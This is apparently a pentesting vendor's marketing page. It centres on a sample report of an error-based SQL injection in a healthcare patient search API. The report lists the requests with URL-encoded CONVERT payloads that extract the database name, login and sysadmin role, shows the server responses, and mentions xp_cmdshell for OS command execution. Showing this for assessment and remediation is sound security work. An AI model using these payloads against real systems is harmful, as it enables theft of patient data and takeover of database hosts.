Secure every application with flexible pentesting that combines expert-led testing, autonomous validation, and actionable results
Learn moreIdentify exploitable risk across external networks, internal infrastructure, and cloud environments
Learn moreExtend your offensive security program with specialized assessments, adversarial testing, code review, and program-level support
Learn moreWeb applications are the public face of your business, and attackers know it. 80% of incidents and 60% of breaches involved web apps. The risk compounds on three fronts:
Testing a few critical applications once a year leaves the rest of your portfolio untested. Meanwhile attackers work at machine speed with AI, and findings from scanners without proof of exploit clutter the backlog.
Source: Verizon Data Breach Investigations Report
Cobalt tests web applications following our industry-leading methodology, which is informed by the OWASP Application Security Verification Standard (ASVS) and the OWASP Top 10. Human-led testing goes where automation cannot, while AI accelerates reconnaissance, scanning, and triage so pentesters can focus on exploitation and complex business logic.
The patient search endpoint concatenates the user-supplied searchtext query parameter directly into a SQL statement executed against a Microsoft SQL Server backend. The injection is error-based: submitting a bare single quote causes the server to return an "Unclosed quotation mark" error message, confirming unsanitized input reaches the query.
Further payloads extracted the database name, the login context (SA user), the server name, and the SQL Server version. The SA user holds the sysadmin fixed server role, granting full read and write access over the clinical database, including patient PHI and case records.
GET /api/Patient/getPatientsBySearchPaginated?searchtext= — patient search endpoint, authenticatedsa (sysadmin)Step 1: Log in as any authenticated user and navigate to the patient directory search feature.
Step 2: Confirm error-based injection by submitting a bare single quote in the search field. Intercept the request:
GET /api/Patient/getPatientsBySearchPaginated?searchtext=test'&offset=0&numrows=30 HTTP/1.1Host: [web-target-domain]Response 500: "Unclosed quotation mark after the character string 'test'"Step 3: Confirm injection is sanitized by submitting a doubled quote (returns empty result set, no error):
GET /api/Patient/getPatientsBySearchPaginated?searchtext=test''&offset=0&numrows=30Response 200: [] (no error, confirming error-based SQLi)Step 4: Extract the database name using a CONVERT-based error payload:
GET /api/Patient/getPatientsBySearchPaginated?
searchtext=%27%2BDB_NAME()%2BCONVERT(int%2C%271%27)%2B%27&offset=0&numrows=30Response 500: "Conversion failed when converting the nvarchar value '[DB_NAME]' to data type int."Step 5: Confirm SA login context:
searchtext=%27%2BSYSTEM_USER%2BCONVERT(int%2C%271%27)%2B%27Response: "Conversion failed when converting the nvarchar value 'sa' to data type int."Step 6: Confirm sysadmin role membership:
searchtext=%27%2BCONVERT(varchar%2CIS_SRVROLEMEMBER(%27sysadmin%27))%2BCONVERT(int%2C%271%27)%2B%27Response: "Conversion failed when converting the nvarchar value '1' to data type int."
(1 = TRUE, SA is sysadmin)Full read and write access to the clinical MS SQL Server database, including patient PHI, case records, and any other data in scope. The SA login context removes any database-level access control boundary. An attacker could exfiltrate all patient records, modify clinical data, or use xp_cmdshell (if enabled) to execute operating system commands on the database host.
xp_cmdshell and other extended stored procedures not required by the application.Cobalt offers three standard approaches to testing to match your objectives and level of access.
Whether you have a 50-person security organization, or you are the security team, agentic PTaaS scales to match your reality. Every role gets the outcome that matters most.
Secure every web application with human-led, AI-powered pentesting from the Cobalt Core, delivered through the Cobalt Offensive Security Platform.